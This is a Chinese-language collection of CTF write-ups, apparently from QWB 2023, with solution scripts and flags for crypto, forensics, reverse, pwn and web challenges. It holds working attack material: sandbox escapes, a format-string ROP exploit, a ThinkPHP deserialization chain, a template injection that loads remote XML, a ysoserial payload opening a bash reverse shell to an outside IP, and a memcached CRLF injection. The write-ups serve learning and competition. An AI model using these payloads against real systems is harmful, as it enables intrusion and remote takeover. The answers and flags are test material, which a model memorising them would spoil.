1、通过尝试输入字符串判断该程序对输入字符的验证规则为9位字符,并且只要满足输入正确字符使最后返回值全部为111111111即可得flag
继续大胆猜测并尝试,发现前两位字符可以为任何字符,都满足110000000,由此可以对后七位字符进行爆破
2、逐位爆破,验证思路正确,最后一位为字符串"d"
3、编写爆破脚本,当字符串长度为9位并输入时,将回显不为“Here is your code coverage: 110000000”的结果打印,脚本如下
from pwn import *
from string import printable
conn = remote('101.200.122.251', 12199)
non_matching_strings = []
for i in range(9):
for char in printable:
payload = 'a'*i + char + 'a'*(8-i)
print(conn.recvuntil(b'Enter a string (should be less than 10 bytes):'))
conn.sendline(payload.encode())
response = conn.recvline().decode().strip()
if response != "Here is your code coverage: 110000000":
non_matching_strings.append(payload)
for string in non_matching_strings:
print(string)
FLAG:qwb{YouKnowHowToFuzz!}
flag{welcome_to_qwb_2023}
Python沙箱逃逸,闭合之后open直接读environ得到flag
{13212}'+(print(open('/proc/1/environ').read()))+'
或者使用payload:
{print(open("/proc/1/environ").read())}
flag{61e81b4f-566c-49f5-84dd-d79319fddc82}
Python沙箱逃逸
用write写文件import os;os.system(“nl fl* >hzy”)执行之后再用read读取执行内容得到flag
过滤字符全用八进制绕过,分段写
{13212}'+(open('wsy', "a").write('151155160157162'))+'{13212}'+(open('wsy', "a").write('t 157'))+'{13212}'+(open('wsy', "a").write('163;157'))+'{13212}'+(open('wsy', "a").write('163.'))+'{13212}'+(open('wsy', "a").write('163y'))+'{13212}'+(open('wsy', "a").write('st'))+'{13212}'+(open('wsy', "a").write('em("nl 146*>hzy")'))+'{13212}'+open('143157de.py','w').write(open('wsy').read())+'{13212}'+(print(open('hzy').read()))+'
或者依次执行下面poc:
{globals().update(dict(my_filter=lambda x:1))}''{in''put()}'#
{globals().update(dict(len=lambda x:0))}''{in''put()}'#
{print("".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["__builtins__"]["__import__"]("os").listdir())}
['flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104', 'server_8F6C72124774022B.py']
{globals().update(dict(my_filter=lambda x:1))}''{in' 'put()}'#
{globals(). update(dict(len=lambda x:0))}''{in' 'put()}'#
{print (open("flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104"). read())}
flag{8f0a4ac2-52d3-4adb-a1a3-47e05997817d}
f12可以拿到wav的链接/static/audios/xh4.wav
重新刷新了一下发现是随机选取播放的
fuzz了一下总共有xh1-xh5和hint1-hint2以及flag.wav
每一个wav的左声道显然是莫斯
分离声道,增幅,在线网站解一下
https://morsecode.world/international/decoder/audio-decoder-adaptive.html
得到:
Do you want a flag? Let's listen a little longer.Genshin Impact starts.The weather is really nice today. It's a great day to listen to the Wabby Wabbo radio.If you don't know how to do it, you can go ahead and do something else first.may be flag is png picturedo you know QAM?
其他都没啥用,就一个提示了QAM载波幅度
https://info.support.huawei.com/info-finder/encyclopedia/zh/QAM.html#Qam的星座图
简单了解了一下发现可以通过振幅来区分01,尝试打印了一下振幅,发现刚好都是集中在±1,±3之间
对比16QAM的星座图可以发现振幅拼一起刚好能起到一个信号的对应关系,但是不知道具体的对应关系是啥,直接盲猜一手从小到大,
简单的脚本如下:
import scipy.io.wavfile as wav
import numpy as np
import sys
sample_rate, data = wav.read("flag.wav")
for i in data:
print(i)
flag=''
def repla(n):
if n == -3:
return '00'
elif n == -1:
return '01'
elif n == 1:
return '10'
elif n == 3:
return '11'
for x, y in data:
n1 = round(float(x))
n2 = round(float(y))
flag += repla(n1)
flag += repla(n2)
给了hint:纸飞机他也是飞机,也能飞出国境抵达大洋彼岸,结合题目描述特殊隧道很容易联想到是
稍微搜一下就可以得到是Shadowsks,参考文章:
https://phuker.github.io/posts/Shadowsks-active-probing.html
给出了完整解密脚本,但是不知道key,直接爆破一下,用HTTP当作请求成功的标识
#!/usr/bin/env python3
# encoding: utf-8
import os
import sys
import logging
import hashlib
from Crypto.Cipher import AES
logging.basicConfig(level=logging.INFO)
def EVP_BytesToKey(password, key_len, iv_len):
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
return key, iv
def decrypt(cipher,password):
key_len = int(256/8)
iv_len = 16
mode = AES.MODE_CFB
key, _ = EVP_BytesToKey(password, key_len, iv_len)
cipher = bytes.fromhex(cipher)
iv = cipher[:iv_len]
real_cipher = cipher[iv_len:]
obj = AES.new(key, mode, iv, segment_size=128)
plain = obj.decrypt(real_cipher)
return plain
def main():
# test http request
cipher = 'e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206'
with open('rockyou.txt','rb') as f:
lines = f.readlines()
for password in lines:
plain = decrypt(cipher,password.strip())
if b'HTTP' in plain:
print(password,plain)
if __name__ == "__main__":
main()
#b'superman\n' b'\x03\x0f192.168.159.131\x00PGET /Why-do-you-want-to-know-what-this-is HTTP/1.1\r\nHost: 192.168.159.131\r\nUser-Agent: curl/8.4.0\r\nAccept: */*\r\nConnection: close\r\n\r\n'
得到文件名为Why-do-you-want-to-know-what-this-is,md5后得到flag
flag{dc7e57298e65949102c17596f1934a97}
根据题目描述飞机流量可以很容易联想到ADS-B协议
导出tcp流数据
tshark -r attach.pcapng -Y "tcp" -T fields -e tcp.segment_data > tcp.txt
解析脚本:
import pyModeS
with open('tcp.txt','r')as f:
lines = f.readlines()
for data in lines:
if len(data)==47:
print(pyModeS.decoder.tell(data[18:]))
筛选一下Airborne velocity ,得到79a05e的飞机速度最快为371 knots,md5 ICAO address为flag
或者
将数据包导出为json格式
使用脚本提取字段并进行MD5
import json
import pyModeS as pms
import hashlib
with open('123.json', 'r', encoding='utf-8') as file:
data = json.load(file)
info = []
for packet in data:
if 'layers' in packet['_source'] and 'tcp' in packet['_source']['layers']:
tcp_layer = packet['_source']['layers']['tcp']
if 'tcp.payload' in tcp_layer:
tcp_payload = tcp_layer['tcp.payload'].replace(':','')
info.append(tcp_payload)
planes_data = []
for i in info:
msg = i[18:]
if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
icao = pms.adsb.icao(msg)
velocity_info = pms.adsb.velocity(msg)
speed, track, vertical_rate, _ = velocity_info
plane_info = {"icao": icao, "speed": speed, "track": track, "vertical_rate": vertical_rate}
planes_data.append(plane_info)
fastest_plane = max(planes_data, key=lambda x: x['speed'])
print(hashlib.md5(fastest_plane['icao'].upper().encode()).hexdigest())
#flag{4cf6729b9bc05686a79c1620b0b1967b}
应该是非预期,随便输入9个任意位置直接exit掉该轮就算成功了
纯社工题,要求2的27次方的阶乘的逐位之和,OEIS上直接有这一个值了
https://oeis.org/A244060/list
sha256后得到flag
flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}
strings main.mem | grep "Linux version"
拿到内核版本后照着
https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/
做个linux的profile
python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -L | findstr "Desktop"
桌面上能找到个文件have_your_fun.jocker
尝试导出,但为空
python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -i 0xffff9ce28fe300e8 -Ohave_your_fun.jocker
不知道如何恢复,直接尝试全局搜一下文件名
找到一个加密脚本,简单的两次rc4加密,key都给了
根据题目需要找png,可以猜测have_your_fun.jocker就是加密后的png
直接加密一下png头
可以直接定位到内存中残留的have_your_fun.jocker位置
直接解密得到flag图
flag{It's_So_Hard_To_Find_A_Picture}
题目分析
–在构建路由表使用了字典树数据结构,每次遇到新ip会插入分支,并且其节点值赋值为tot
–查询时也是查找该字典树,取节点的tot为索引,打印四字节end[tot]
思路分析
–在add时使用完tot之后没有归零,导致在view时读取溢出部分数据(能够读取到secret上的flag),每次读取逆序4字节,将ascii码转成对应字符拼接即可。
–同时为了获取完整flag,每次需要使得search函数里查询得到的tot索引+1,为此需要构造一颗子树,使其空出若干个叶子,(每空出一个叶子即可打印4字节flag)
–我构造了一个空出9个叶子的节点,其中包含一个填充的(目的是使得tot至少为0x40)
exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
context.arch = "amd64"
def add(des, next):
io.recvuntil(b"4. Quit.")
io.sendline(b"1")
io.recvuntil(b"Input destination IP:")
io.sendline(des)
io.recvuntil(b"Input the next hop:")
io.sendline(next)
def show(des):
io.recvuntil(b"4. Quit.")
io.sendline(b"2")
io.recvuntil(b"Input destination IP:")
io.sendline(des)
def get_flag():
io.recvuntil(b"4. Quit.")
io.sendline(b"3")
def leak(data):
add(str(data).encode() + b".0.0.0", b"0.0.0.0")
get_flag()
show(str(data).encode() + b".0.0.0")
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag = ascii_values
return flag
add("0.0.0.0", "0.0.0.0") # 32
add("64.0.0.0", "0.0.0.0") # 2
add("32.0.0.0", "0.0.0.0") # 3
add("96.0.0.0", "0.0.0.0") # 2
add("16.0.0.0", "0.0.0.0") # 4
add("80.0.0.0", "0.0.0.0") # 2
add("48.0.0.0", "0.0.0.0") # 3
add("112.0.0.0", "0.0.0.0") # 2
add("0.4.0.0", "0.0.0.0") # 14
flag = ""
get_flag()
show(b"0.4.0.0") # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)
flag += leak(128)
log.success(flag)
flag += leak(192)
log.success(flag)
flag += leak(160)
log.success(flag)
flag += leak(144)
log.success(flag)
flag += leak(208)
log.success(flag)
flag += leak(176)
log.success(flag)
flag += leak(240)
log.success(flag)
flag += leak(224)
log.success(flag)
add(b"128.4.0.0", b"0.0.0.0")
get_flag()
show(b"128.4.0.0") # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)
io.interactive()
格式化字符串打printf的返回地址为csu的部分gadget,然后执行跳转magic_read(0x401205)执行rop链。
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-12-16 13:34:34
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
Remote: python3 exp.py remote elf-file-path ip:port
'''
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
ru('There is a gift for you ')
leak_stack = int(rl()[:-1],16)
leak_ex2(leak_stack)
attack_stack = leak_stack - 0x8
pd = flat(
{
0:'%' + str(0xce) + 'c' + '%11$hhn%19$p',
0x18:[0x401205],
0x28:attack_stack,
}
)
s(pd)
ru('0x')
leak_libc = int(r(12),16)
leak_ex2(leak_libc)
lb = leak_libc - 0x24083
libc.address = lb
pd = flat(
{
0x18:[
CG.pop_rdi_ret(),
CG.bin_sh(),
lb + 0x51cd2]
}
)
S()
s(pd)
ia()
审计源码后发现是pepple的模板注入
发现过滤了
org.springframework.context.support.ClassPathXmlApplicationContext
用字符串拼接的方式绕过
org.springframework.context."+"support.ClassPathXmlApplicationContext
上传payload如下
POST /uploadFile HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 567
content=%7B%25%20set%20y%3D%20beans.get(%22org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory%22).resourceLoader.classLoader.loadClass(%22java.beans.Beans%22)%20%25%7D%0A%7B%25%20set%20yy%20%3D%20%20beans.get(%22jacksonObjectMapper%22).readValue(%22%7B%7D%22%2C%20y)%20%25%7D%0A%7B%25%20set%20yyy%20%3D%20yy.instantiate(null%2C%22org.springframework%22%2B%22.context.support.ClassPathXmlApplicationContext%22)%20%25%7D%0A%7B%7B%20yyy.setConfigLocation(%22http%3A%2F%2F47.76.178.89%3A8081%2F1.xml%22)%20%7D%7D%0A%7B%7B%20yyy.refresh()%20%7D%7D
上传的文件名与时间有关,并且题目环境的时间与现实不一样
public static String general_time() {
LocalDateTime currentTime = LocalDateTime.now();
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
String var10000 = currentTime.format(formatter);
String fileName = "file_" + var10000 + ".pebble";
System.out.println("filename is " + fileName);
return fileName;
}
那么文件名就为 file_20231217_160502,发送payload去触发该点
GET /?x=../../../../../../../../tmp/file_20231217_160502 HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
调试发现密钥和密文都变了
加解密过程对应着修改
解密脚本
#include
#include
//加密函数
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0x90508D47, delta = 0x77BF7F99;
for (int j = 0; j < 4; j++)
{
for (i = 0; i < num_rounds; i++)
{
v0 += (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
v1 += (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
}
}
v[0] = v0;
v[1] = v1;
printf("sum==0x%x\n", sum);
}
//解密函数
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x77BF7F99, sum = 0xd192c263;
for (int j = 0; j < 4; j++)
{
for (i = 0; i < num_rounds; i++)
{
sum += delta;
v1 -= (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
v0 -= (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
}
}
v[0] = v0;
v[1] = v1;
printf("sum==0x%x\n", sum);
}
//打印数据 hex_or_chr: 1-hex 0-chr
void dump_data(uint32_t *v, int n, bool hex_or_chr)
{
if (hex_or_chr)
{
for (int i = 0; i < n; i++)
{
printf("0x%x,", v[i]);
}
}
else
{
for (int i = 0; i < n; i++)
{
for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
{
printf("%c", (v[i] >> (j * 8)) & 0xFF);
}
}
}
printf("\n");
return;
}
int main()
{
// v为要加解密的数据
uint32_t v[] = {0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260};
// k为加解密密钥,4个32位无符号整数,密钥长度为128位
uint32_t k[4] = {0x62, 0x6F, 0x6D, 0x62};
// num_rounds,建议取值为32
unsigned int r = 33;
int n = sizeof(v) / sizeof(uint32_t);
/*
printf("加密前明文数据:");
dump_data(v, n, 1);
for (int i = 0; i < n / 2; i++)
{
encrypt(r, &v[i * 2], k);
}
*/
printf("加密后密文数据:");
dump_data(v, n, 1);
for (int i = 0; i < n / 2; i++)
{
decrypt(r, &v[i * 2], k);
}
printf("解密后明文数据:");
dump_data(v, n, 1);
printf("解密后明文字符:");
dump_data(v, n, 0);
return 0;
}
// W31com3_2_Th3_QwbS7_4nd_H4v3_Fun
变表base64编解码交替
有个循环异或
先逆循环异或
enc = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04,
0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70,
0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D,
0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70,
0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]
tbs = ["l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr",
"FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8",
"Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA",
"pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a",
"plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
aaa = [ord(c)
for c in "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
for i in range(len(aaa)):
aaa[i] ^= 0x27
v5 = aaa[6:6+0x15]
v7 = 2023
v6 = 0
v8 = 48
xor = []
while v6 < v8 - 1:
if v6 % 3 == 1:
v7 = (v7 + 5) % 20
v3 = v5[v7 + 1]
elif v6 % 3 == 2:
v7 = (v7 + 7) % 19
v3 = v5[v7 + 2]
else:
v7 = (v7 + 3) % 17
v3 = v5[v7 + 3]
v6 += 1
xor.append(v3)
for i in range(len(enc)-1, -1, -1):
enc[i] ^= enc[i-1]
if i <= len(enc)-2:
enc[i] ^= xor[i]
print(bytes(enc))
# jZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==
再逆变表base64编解码再补全
flag{3ea590ccwxehg715264fzxnzepqz}
因为模型的预测是只跟输入的sequence有关,所以可以根据当前情况的最优解输入进去来得到模型的下一步输出,这样就可以得到我们下一步的最优解。一直循环下去,就可以得到全部的最优解。
由于前面5次大模型是随机输出的,因此我们可以考虑从第6次开始求最优解。最坏情况下,前5次全输,需要87步即可达到260分,即第92轮时,因此可以通过本题。
from pwn import remote
ip = ''
port = ''
class GetStatus:
def __init__(self, _ip=ip, _port=port) -> None:
self.r = remote(_ip, _port)
self.score = 0
def getdiff(self, out):
self.r.sendlineafter('请出拳'.encode(), str(out).encode())
self.r.recvuntil('分数:'.encode())
newscore = int(self.r.recvline().decode())
diff = newscore - self.score
self.score = newscore
return diff
def test_list(self, lis):
for out in lis:
diff = self.getdiff(out)
if self.score >= 260:
return 'win'
return diff
current_best = [0] * 5
diff2out = {
3: 0,
1: 2,
0: 1
}
while len(current_best) <= 100:
current_best.append(0)
c = GetStatus()
diff = c.test_list(current_best)
if c.score >= 260:
c.r.interactive()
break
c.r.close()
current_best[-1] = diff2out[diff]
print(f'Round {len(current_best)}: {current_best}')
或者
按照如下顺序即可获胜
0000011220120220110111222010022012110021012012202100112022100112110020110220210201
n是一个质数5次方,可以求解1和C的根后进行组合出所有C的根,sage脚本如下:
from Crypto.Util.number import long_to_bytes
p=91027438112295439314606669837102361953591324472804851543344131406676387779969
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
n=p^5
K=Zmod(p^5)
a=K(c).nth_root(e)
b=K(1).nth_root(e)
a=int(a)
b=int(b)
print(b,a)
from tqdm import tqdm
for i in tqdm(range(e)):
a=(a*b)%n
m=long_to_bytes(int(a))
if b"flag" in m:
print(m)
break
#flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}
阅读代码,题目给的假flag长度较小,猜测实际flag长度也较小,据此采用中间相遇思想进行破解
import itertoolsfrom gmpy2 import *from Crypto.Util.Padding import *from Crypto.Util.number import *from tqdm import tqdmp = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299g = 5c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649flag_len=12fake_flag_pad='flag{'.encode() +'x00'.encode()*flag_len+'}'.encode()flag_pattern = (pad(fake_flag_pad, 128))#print(flag_pattern)flag_pattern=bytes_to_long(flag_pattern)pattern=1<<888#print(bin(pattern))cc = c * inverse(pow(g,flag_pattern,p),p)%pcc = pow(cc, inverse(pattern, q), p)print(cc)table = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']dic = dict()gtemp= pow(g, 2**48, p)for half_flag1 in tqdm(itertools.product(table, repeat=6)): half_flag1 = bytes_to_long(''.join(half_flag1).encode()) temp = cc * powmod(gtemp, -(half_flag1), p) % p dic[temp] = half_flag1for half_flag2 in tqdm(itertools.product(table, repeat=6)): half_flag2 = bytes_to_long(''.join(half_flag2).encode()) temp = powmod(g, half_flag2, p) if temp in dic: print(long_to_bytes(dic[temp]) + long_to_bytes(half_flag2))
附件在本地起docker可以得到源码,审计发现admin路由
后台路径 /public/index.php/index/admin/login.html
1/123456登陆后台
审计发现在保存操作调用save->updatedata
在updatedata存在SQL注入,$key相当于是$data中的一个键值。
在保存商品时会调用saveGoods数据进行序列化之后保存到数据库
在编辑页面可以看到数据抽取时会进行反序列化操作
利用SQL注入修改data数据的值,本题data是数组,且会插入数据库,最终的payload需要改一下让前后闭合,且TP5,在网上找一个链子的EXP改一下
https://www.freebuf.com/vuls/317886.html
namespace think\process\pipes{use think\model\Pivot;ini_set('display_errors',1);class Windows{private $files = [];public function __construct($function,$parameter){$this->files = [new Pivot($function,$parameter)];}}$aaa = new Windows('system','nl /f*');echo base64_encode(serialize(array($aaa)));}namespace think{abstract class Model{}}namespace think\model{use think\Model;use think\console\Output;class Pivot extends Model{protected $append = [];protected $error;public $parent;public function __construct($function,$parameter){$this->append['jelly'] = 'getError';$this->error = new relation\BelongsTo($function,$parameter);$this->parent = new Output($function,$parameter);}}abstract class Relation{}}namespace think\model\relation{use think\db\Query;use think\model\Relation;abstract class OneToOne extends Relation{}class BelongsTo extends OneToOne{protected $selfRelation;protected $query;protected $bindAttr = [];public function __construct($function,$parameter){$this->selfRelation = false;$this->query = new Query($function,$parameter);$this->bindAttr = [''];}}}namespace think\db{use think\console\Output;class Query{protected $model;public function __construct($function,$parameter){$this->model = new Output($function,$parameter);}}}namespace think\console{use think\session\driver\Memcache;class Output{protected $styles = [];private $handle;public function __construct($function,$parameter){$this->styles = ['getAttr'];$this->handle = new Memcache($function,$parameter);}}}namespace think\session\driver{use think\cache\driver\Memcached;class Memcache{protected $handler = null;protected $config = ['expire' => '','session_name' => '',];public function __construct($function,$parameter){$this->handler = new Memcached($function,$parameter);}}}namespace think\cache\driver{use think\Request;class Memcached{protected $handler;protected $options = [];protected $tag;public function __construct($function,$parameter){// pop链中需要prefix存在,否则报错$this->options = ['prefix' => 'jelly/'];$this->tag = true;$this->handler = new Request($function,$parameter);}}}namespace think{class Request{protected $get = [];protected $filter;public function __construct($function,$parameter){$this->filter = $function;$this->get = ["jelly"=>$parameter];}}}//YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0在编辑页面修改抓包
放包
再次访问该商品得到flag
flag{c7c7e293-d532-496b-b414-c28bb3fe9aa7}happygame
使用grpcui工具
grpcui -plaintext ip:port打开以后可以发现一个序列化参数。
猜测后端是java组件,这里经过测试,发现CC5可以攻击,所以用ysoserial生成payload,因为exec会把管道符当做参数,所以需要先编码
java -jar ysoserial-main-923a2bda4e-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xNzguODkvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" | base64发送该数据,即可成功反弹shell
thinkshopping
第二天又上了thinkshopping这一题,和前一题主要的区别是goods_edit.html中的反序列化入口被删了
还有admin表中的内容被清空了,没有1、admin、e10adc3949ba59abbe56e057f20f883e这条数据了
更重要的是,secure_file_priv的值为空了
而前一题还是有值的
当然,前一题的SQL注入点依然存在,不过依然需要鉴权进入后台,这意味着,只需要我们能进入后台,就能通过load_file的方式读取flag。
那么,如何进入到后台呢?前面提到,容器在启动的时候使用了memcached,但是在前一题中并没有用到
并且启动了memcached后,ThinkPHP中也配置了cache使用memcached做缓存
而在登录时,使用了cache先获取缓存
跟进一下find逻辑,由于出题人配置了cache,所以会将数据缓存到memcached中,这里的缓存的key格式为:think:shop.admin|username
那么如何控制缓存的值呢?memcached存在CRLF注入漏洞,具体可参考下方文章:
https://www.freebuf.com/vuls/328384.html
简单来说,就是能set任意的值,例如下方的payload,就能注入一个snowwolf的键,且值为wolf,4代表数据长度
TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf
